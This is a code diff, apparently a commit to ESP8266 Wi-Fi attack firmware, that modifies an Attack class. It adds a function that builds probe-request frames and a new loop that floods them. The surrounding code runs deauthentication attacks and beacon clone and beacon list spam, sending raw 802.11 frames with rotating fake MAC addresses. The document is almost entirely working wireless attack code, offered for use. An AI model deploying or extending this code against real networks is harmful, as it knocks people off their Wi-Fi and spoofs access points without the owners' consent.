@@ -5,7 +5,7 @@ Attack::Attack(){
5
5
}
6
6
7
7
void Attack::generate (){
8
- if (debug) Serial.print (" generating Macs..." );
8
+ if (debug) Serial.print (" \n generating Macs..." );
9
9
10
10
Mac _randomBeaconMac;
11
11
uint8_t _randomMacBuffer[6 ];
@@ -80,6 +80,24 @@ void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt){
80
80
81
81
}
82
82
83
+ void Attack::buildProbe (String _ssid, Mac _mac){
84
+ int len = _ssid.length ();
85
+ if (len > 32 ) len = 32 ;
86
+ packetSize = 0 ;
87
+
88
+ for (int i=0 ;i<sizeof (probePacket);i++) packet[packetSize+i] = probePacket[i];
89
+ packetSize += sizeof (probePacket);
90
+
91
+ for (int i=0 ;i<6 ;i++) packet[10 +i] = _mac._get (i);
92
+
93
+ packet[packetSize] = len;
94
+ packetSize++;
95
+
96
+ for (int i=0 ;i<len;i++) packet[packetSize+i] = _ssid[i];
97
+ packetSize += len;
98
+
99
+ }
100
+
83
101
bool Attack::send (){
84
102
if (wifi_send_pkt_freedom (packet, packetSize, 0 ) == -1 ){
85
103
/*
@@ -101,7 +119,7 @@ void Attack::run(){
101
119
102
120
/* =============== Deauth Attack =============== */
103
121
if (isRunning[0 ] && currentMillis-prevTime[0 ] >= 1000 ){
104
- if (debug) Serial.print (" running " +(String)attackNames[0 ]+" attack" );
122
+ if (debug) Serial.print (" running " +(String)attackNames[0 ]+" attack... " );
105
123
prevTime[0 ] = millis ();
106
124
107
125
for (int a=0 ;a<apScan.results ;a++){
@@ -150,7 +168,7 @@ void Attack::run(){
150
168
151
169
/* =============== Beacon clone Attack =============== */
152
170
if (isRunning[1 ] && currentMillis-prevTime[1 ] >= 100 ){
153
- if (debug) Serial.print (" running " +(String)attackNames[1 ]+" attack" );
171
+ if (debug) Serial.print (" running " +(String)attackNames[1 ]+" attack... " );
154
172
prevTime[1 ] = millis ();
155
173
156
174
for (int a=0 ;a<apScan.results ;a++){
@@ -193,7 +211,7 @@ void Attack::run(){
193
211
generate ();
194
212
macListChangeCounter = 0 ;
195
213
}
196
- if (debug) Serial.println (" done " );
214
+ if (debug) Serial.println (" done" );
197
215
if (settings.attackTimeout > 0 ){
198
216
attackTimeoutCounter[1 ]++;
199
217
if (attackTimeoutCounter[1 ]/10 > settings.attackTimeout ) stop (1 );
@@ -202,7 +220,7 @@ void Attack::run(){
202
220
203
221
/* =============== Beacon list Attack =============== */
204
222
if (isRunning[2 ] && currentMillis-prevTime[2 ] >= 100 ){
205
- if (debug) Serial.print (" running " +(String)attackNames[2 ]+" attack" );
223
+ if (debug) Serial.print (" running " +(String)attackNames[2 ]+" attack... " );
206
224
prevTime[2 ] = millis ();
207
225
208
226
for (int a=0 ;a<ssidList.len ;a++){
@@ -216,17 +234,41 @@ void Attack::run(){
216
234
217
235
stati[2 ] = (String)(packetsCounter[2 ]*10 )+" pkts/s" ;
218
236
packetsCounter[2 ] = 0 ;
219
- /* macListChangeCounter++;
237
+ macListChangeCounter++;
220
238
if (macListChangeCounter/10 >= macChangeInterval && macChangeInterval > 0 ){
221
239
generate ();
222
240
macListChangeCounter = 0 ;
223
- }*/
224
- if (debug) Serial.println (" done" );
241
+ }
242
+ if (debug) Serial.println (" done" );
225
243
if (settings.attackTimeout > 0 ){
226
244
attackTimeoutCounter[2 ]++;
227
245
if (attackTimeoutCounter[2 ]/10 > settings.attackTimeout ) stop (2 );
228
246
}
229
247
}
248
+
249
+ /* =============== Probe Request Attack =============== */
250
+ if (isRunning[3 ] && currentMillis-prevTime[3 ] >= 1000 ){
251
+ if (debug) Serial.print (" running " +(String)attackNames[3 ]+" attack..." );
252
+ prevTime[3 ] = millis ();
253
+
254
+ for (int a=0 ;a<ssidList.len ;a++){
255
+ buildProbe (ssidList.get (a), beaconAdrs._get (a));
256
+ if (send ()) packetsCounter[3 ]++;
257
+ }
258
+
259
+ stati[3 ] = (String)(packetsCounter[3 ]*10 )+" pkts/s" ;
260
+ packetsCounter[3 ] = 0 ;
261
+ macListChangeCounter++;
262
+ if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0 ){
263
+ generate ();
264
+ macListChangeCounter = 0 ;
265
+ }
266
+ if (debug) Serial.println (" done" );
267
+ if (settings.attackTimeout > 0 ){
268
+ attackTimeoutCounter[3 ]++;
269
+ if (attackTimeoutCounter[3 ] > settings.attackTimeout ) stop (3 );
270
+ }
271
+ }
230
272
231
273
}
232
274
@@ -239,15 +281,23 @@ void Attack::start(int num){
239
281
prevTime[num] = millis ();
240
282
attackTimeoutCounter[num] = 0 ;
241
283
refreshLed ();
242
- if (debug) Serial.println (" starting " +(String)attackNames[num]+" attack" );
243
- if (num == 1 && isRunning[2 ]) stop (2 );
244
- else if (num == 2 && isRunning[1 ]) stop (1 );
284
+ if (debug) Serial.println (" starting " +(String)attackNames[num]+" attack..." );
285
+ if (num == 1 ){
286
+ stop (2 );
287
+ stop (3 );
288
+ } else if (num == 2 ){
289
+ stop (1 );
290
+ stop (3 );
291
+ } else if (num == 3 ){
292
+ stop (1 );
293
+ stop (2 );
294
+ }
245
295
}else stop (num);
246
296
}
247
297
248
298
void Attack::stop (int num){
249
299
if (isRunning[num]){
250
- if (debug) Serial.println (" stopping " +(String)attackNames[num]+" attack" );
300
+ if (debug) Serial.println (" stopping " +(String)attackNames[num]+" attack... " );
251
301
isRunning[num] = false ;
252
302
stati[num] = " ready" ;
253
303
prevTime[num] = millis ();
@@ -265,7 +315,7 @@ String Attack::getResults(){
265
315
for (int i=0 ;i<attacksNum;i++) if (!isRunning[i]) stati[i] = " ready" ;
266
316
267
317
if (apScan.getFirstTarget () < 0 ) stati[0 ] = stati[1 ] = " no AP" ;
268
- if (ssidList.len < 1 ) stati[2 ] = " no SSID" ;
318
+ if (ssidList.len < 1 ) stati[2 ] = stati[ 3 ] = " no SSID" ;
269
319
270
320
int _selected;
271
321
String json = " { \" aps\" : [" ;
@@ -311,7 +361,7 @@ String Attack::getResults(){
311
361
json += " }" ;
312
362
if (debug){
313
363
Serial.println (json);
314
- Serial.println (" done " );
364
+ Serial.println (" done" );
315
365
}
316
366
return json;
317
367
}
0 commit comments